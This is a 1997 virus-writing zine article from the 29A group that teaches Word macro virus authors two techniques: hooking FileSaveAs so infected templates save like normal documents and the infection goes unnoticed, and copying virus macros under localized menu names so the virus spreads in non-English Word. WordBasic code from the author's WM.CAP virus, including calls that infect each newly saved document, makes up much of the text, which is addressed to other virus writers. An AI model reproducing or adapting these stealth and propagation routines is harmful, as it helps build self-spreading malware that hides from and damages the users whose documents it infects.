Macro virus trickz ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Jacky Qwerty/29A This article is not intended to be a tutorial for macro virus writin. It simply states some common problemz and known limitationz with actual macro virii, then sugests solutionz and provides some code examplez for them. The reader should be already familiar with some of the conceptz surroundin ma- cro virii stuff. If not, i sugest to read first a "real" tutorial about the subject and then jump back to this article. Index ÄÄÄÄÄ 1. Introduction 2. The "SaveAs" problem 2.1. The "SaveAs" solution 2.2. The "SaveAs" example 3. The "MultiLanguage suport" problem 3.1. The "MultiLanguage suport" solution 3.2. The "MultiLanguage suport" example 4. Final Note 5. Disclaimer 1. Introduction ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ One day while i was surfin the Web, unexpectedly found a couple of linkz containin Word macro virii stuff. After havin programed some DOS virii and researched about PE infection, one has to admit that the idea of a virus writen in WordBasic or VBA... mmm... well, sounds a bit stupid >8P (DS1, NJ: dont get mad... >8D) Indeed, macro virii seem stupid once u write one, but at that moment i had written none. After i downloaded and played with some of them, i actually understood not only how stupid macro virii were, but also Microsoft pro- gramerz. They're all clueless on what *security* means :) 2. The "SaveAs" problem ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Just when i started to write my own macro virus, my atention was caught by an interestin mesage posted to alt.comp.virus. The topic was about that typical nuisance with macro virii that reveals their presence: the "SaveAs" problem. As i had thought, it was posible to overcome this, and that mesage from an expert AVer (well ehem) had just confirmed it. The "SaveAs" problem occurs when u try to save any infected document with another name usin the "FileSaveAs" command. After the "SaveAs" dialog box appears, u cant change the drive, nor the directory path, nor the format type. Word always saves your document in the "templatez" directory, un- ablin u to change it. This is bad for the common clueless user and bad for the virus too, as it reveals its presence by tellin him somethin is wrong. It also reduces its chancez to spread coz now the user cant take home his (infected) document as long as Word doesnt let him save documentz to his floppy disk, due to the "SaveAs" problem. I have thought of diferent wayz to overcome this, however i'll discuss the method i actually implemented in my WM.CAP virus. 2.1. The "SaveAs" solution ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ How do we solve this problem then? easy, very easy once we understand what an infected document really is. We cant forget that an infected docu- ment is really a "template", that why Word doesnt let us change the drive, nor the directory path, nor the format type. Becoz its a "template" and templatez belong to the templatez directory! Ok, but what if we make Word think that the infected document, sorry i meant the infected "template", is a genuine Word document? this would allow the user to select the drive, path and any type for the document! right? right! but how? Easy again, once we understand why Word provides "templatez": to make u- ser's life easier by creatin documentz based on such templatez, got it? All we have to do is create a new document based on our active infected template! in other wordz we have to "emulate" the "SaveAs" function as if Word were saving a genuine document. Lets write some code to ilustrate. 2.2. The "SaveAs" example ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sub FileSaveAs ' Our "FileSaveAs" macro On Error Goto endFileSaveAs ' Dim dlg As FileSaveAs ' Declare dlg as FileSaveAs dialog box GetCurValues dlg ' Get current values into dlg If dlg.Format <> 1 Then ' Not a template? (i.e. not infected?) Dialog dlg ' No, a clean document, show box FileSaveAs dlg ' Save the new document Infect(dlg.Name) ' Infect it! go! Else ' It's a template (i.e. it's infected) TempWindow = Window() ' Get current window (template) OriginalName$ = dlg.Name ' Get original document name FileNew .Template = FileName$() ' Create new doc based on template! On Error Goto CloseDoc ' Now on: if any error close new doc GetCurValues dlg ' Get current values for new doc dlg.Name = OriginalName$ ' Change doc name for original one Dialog dlg ' Ok, show FileSaveAs dialog box FileSaveAs dlg ' Save the new document On Error Goto endFileSaveAs ' Now on: if any error just go Infect(dlg.Name) ' Ok, infect new document If TempWindow >= Window() ' TempWindow = TempWindow + 1 ' Get old template window number EndIf ' WindowList TempWindow ' Make it the active window CloseDoc: ' FileClose 2 ' Close it without promptin End If ' endFileSaveAs: ' We're done! "SaveAs" problem fixed! End Sub ' The trick here is that the "FileSaveAs" subroutine behaves diferently acordin to the object bein saved. If the object is a genuine Word document (i.e. not infected), the routine simply shows the "SaveAs" dialog box and tries to infect it afterwardz. If the object bein saved is a "template" (i.e. perhaps an infected document) then the routine first creates a new document based on that active template (which is actually the infected do- cument itself) and then shows the "SaveAs" dialog box from this newly cre- ated clean document. This time Word allows to choose the format type, dri- ve letter and directory namez. After the user chooses the document name and saves it, the routine simply infects the document, swaps to the window containin the old template (i.e. the old infected document) and finally closes it leavin open the new "Saved-As" document just as Word itself does. If at this point u're wonderin why we created a new "empty" document from the template, then u probably need some background info in Word macroz and templatez. The new created document is NOT "empty" as it was created from a template which was not empty. Remember that this template is really our infected document and as a result our new created document will contain the same text stuff as the template. Remember also the definition of what a "template" is and why we use them. 3. The "MultiLanguage suport" problem ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is a dificult topic and several diferent aproachez have been tried and implemented by different VXers in order to overcome it. However as to this writin, i still havent seen a single *reliable* multilanguage macro virus. The Wazzu virus consisted of a single automacro: AutoOpen. This ma- kes it language-independent indeed but it still has the "SaveAs" problem, big deal. The "MultiLanguage suport" problem has to do with the fact that MS Word is available in diferent languagez and flavorz for diferent platformz. When- ever we give a macro the name of a menu item, Word will actually execute the code contained in such macro whenever the user clicks or presses the menu item asociated with it. However if the user executes the same action (clicks the same menu item) under another Word language, the asociated ma- cro won't be executed at all becoz it doesnt match the menu item name as it was written in another language, u see? For example supose in english Word we program the "FileOpen" macro to do whatever action. Whenever we click the "File/Open" item, our macro will be executed. However supose we copy (unchanged) the same macro to another Word language, say spanish. Under this Word language the asociated file menu item changes now to "Archivo/Abrir". If we click this menu item, our old "FileOpen" macro won't be executed at all. However if we rename the macro to "ArchivoAbrir", this time it will execute just fine. This is what is known as the "MultiLanguage suport" problem. 3.1. The "MultiLanguage suport" solution (without AutoMacroz) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The best aproach to obtain multilanguage suport without losin control over the enviroment is interceptin the file menu related macroz, at least the "FileSaveAs" macro so we can fix the "SaveAs" problem. The best solution i came up with after thinkin a bit among the diferent alternativez was to intercept the file macroz directly acordin to the es- pecific Word language instaled. This is not a dificult task, however what proves to be somewhat complicated is guessin out the correct macro name for the respective file menu item. If this step is done incorrectly, some file menuz will end up doin diferent actionz other than expected. For ins- tance, the "FileSave" macro could end up callin "FileClose", thus closin the document instead of saving it or viceversa. In order to get the macro namez for the actual Word language instaled, we must use the "MenuItemMacro$" function. This function gives us the macro name for a given menu item inside a menu, asumin we know of course which menu this menu item refers or belongs to and knowin the menu item name or the menu item position inside this menu itself. Heh are u drowsy? =8-S. This is precisely the reason why this method is still not 100% reliable. We must asume fixed menu item positionz for the menu itemz we wanna hook. In any Word language from any standard Word instalation we have the fol- lowin scenario (equivalent spanish macroz are also shown): English Spanish Menu Menu item position ÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FileOpen ArchivoAbrir 1 (File) 2 FileClose ArchivoCerrar 1 (File) 3 FileSave ArchivoGuardar 1 (File) 5 FileSaveAs ArchivoGuardarComo 1 (File) 6 This is precisely the method implemented in the WM.CAP virus in order to work in any Word language. It created aditional macro namez with same body but diferent name -acordin to the actual Word language instaled- for a gi- ven macro function. The fact that the macro code remains the same in any Word language is not a problem. The macro interpreter inside Word is "uni- versal", meanin that it will execute correctly the WordBasic or VBA ins- tructionz inside the macroz without carin about the actual Word language instaled. It needs however to refer to valid existin macro namez or la- belz. As macro namez change for a given especific Word language, we must be very careful NOT to include any reference to a language-dependent macro name inside any of our file related macroz. This is the reason why such file related macroz inside WM.CAP are just short stubz ("wraperz") that jump to other subroutinez inside the CAP macro itself. Before showin an example to the "MultiLanguage suport" method, i must warn once again that this method is not 100% reliable. It all depends on how much the user has customized his Word menuz and other setingz. It should however work just perfect on those Wordz havin the factory standard setingz which gracely share all Word instalationz by default. Again in some especi- fic user-customized Word instalationz, the latter method can easily mess up some of the file related macroz, resultin in unexpected behavior and weird funny actionz. Here follows the "MultiLanguage suport" example. 3.2. The "MultiLanguage suport" example ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Dim Shared MacroName$(N) ' Array of stringz to hold the macro namez Sub MAIN ' Main subroutine [...] MacroName$(2) = "FileOpen" ' "FileOpen" at position 2 in file menu MacroName$(3) = "FileClose" ' "FileClose" at position 3 in file menu MacroName$(5) = "FileSave" ' "FileSave" at position 5 in file menu MacroName$(6) = "FileSaveAs" ' "FileSaveAs" at position 6 in file menu FileMenu$ = MenuText$(0, 1) ' Get name for file menu ("&File") For MacroNumber = CountMacros(1) To 1 Step - 1 ' Process each macro Position = 0 ' No position by now NameOfMacro$ = MacroName$(MacroNumber, 1) ' Get macro name Select Case MacroDesc$(NameOfMacro$) ' Get description of ' macro name Case "FileOpen" ' Description = "FileOpen" ? Position = 2 ' then position in file menu = 2 Case "FileClose" ' Description = "FileClose" ? Position = 3 ' then position in file menu = 3 Case "FileSave" ' Description = "FileSave" ? Position = 5 ' then position in file menu = 5 Case "FileSaveAs" ' Description = "FileSaveAs" ? Position = 6 ' then position in file menu = 6 End Select If Position Then ' If position in file menu was found then.. LocalMacro$ = MenuItemMacro$(FileMenu$, 0, Position) ' Get localized ' macro name If Left$(UCase$(LocalMacro$), Len(MacroName$(Position))) <> UCase$(MacroName$(Position)) ' If local macro name is And ' diferent from english name Left$(LocalMacro$, 1) ' and local macro name is NOT <> "(" ' a separator "(.." then Then MacroCopy F$ + ":" + NameOfMacro$, LocalMacro$, -1 ' Copy macro to ' localized End If ' macro name End If Next ' Process next macro The objective in the previous example shows for itself. We're tryin to get the file related macro namez for any localized version of Word other than english. If these file related macroz are located in the exact position where we expect them to be in the file menu (very likely), then the above example will do its work. Probably at this point u're wonderin what has the macro description field to do in all this mess. Heh, well, the field proves to be very useful for some purposez other than simply describin what the macro does. The macro description field can be used to hold generation countz and self-recognition paternz, among other thingz. In the above example however, the description field mite not be necesary at all. Its purpose is simply to identify a given file related macro in order to assign a position for it in the file menu. But u could argue this can be done as well simply comparin the macro name retrieved from the "MacroName$" function with the required english macro name. Yes, u could, and it would work, as long as these english file related macroz keep stayin in the in- fected document. But u see, macro corruption, deletion and snatchin of ma- cros are common nowadayz between macro virii due to the increasin number of existin samples of themselves. Becoz of this, the use of the macro descrip- tion field (whenever posible) to recognize english or equivalent localized macro namez, makes the virus much more robust to macro corruptionz or unde- sired macro deletionz. 4. Final note ÄÄÄÄÄÄÄÄÄÄÄÄÄ This article was written one or two months after Microsoft released its long expected Office'97, containin Word'97. Becoz of this and becoz i lost my interest in macro virii stuff since that time on, i dunno if these macro trickz will also work under Word'97, i guess not. However, if other VXerz are interested in these topicz and want to add more robustness to their ma- cro virii under Word'97, they should consider the problemz described above. I hope this article could be useful for that purpose. Thats all, folkz. 5. Disclaimer ÄÄÄÄÄÄÄÄÄÄÄÄÄ This information is for educational purposez only. The author is not res- ponsible for any problemz caused by the use of this information. (c) 1997. Jacky Qwerty / 29A.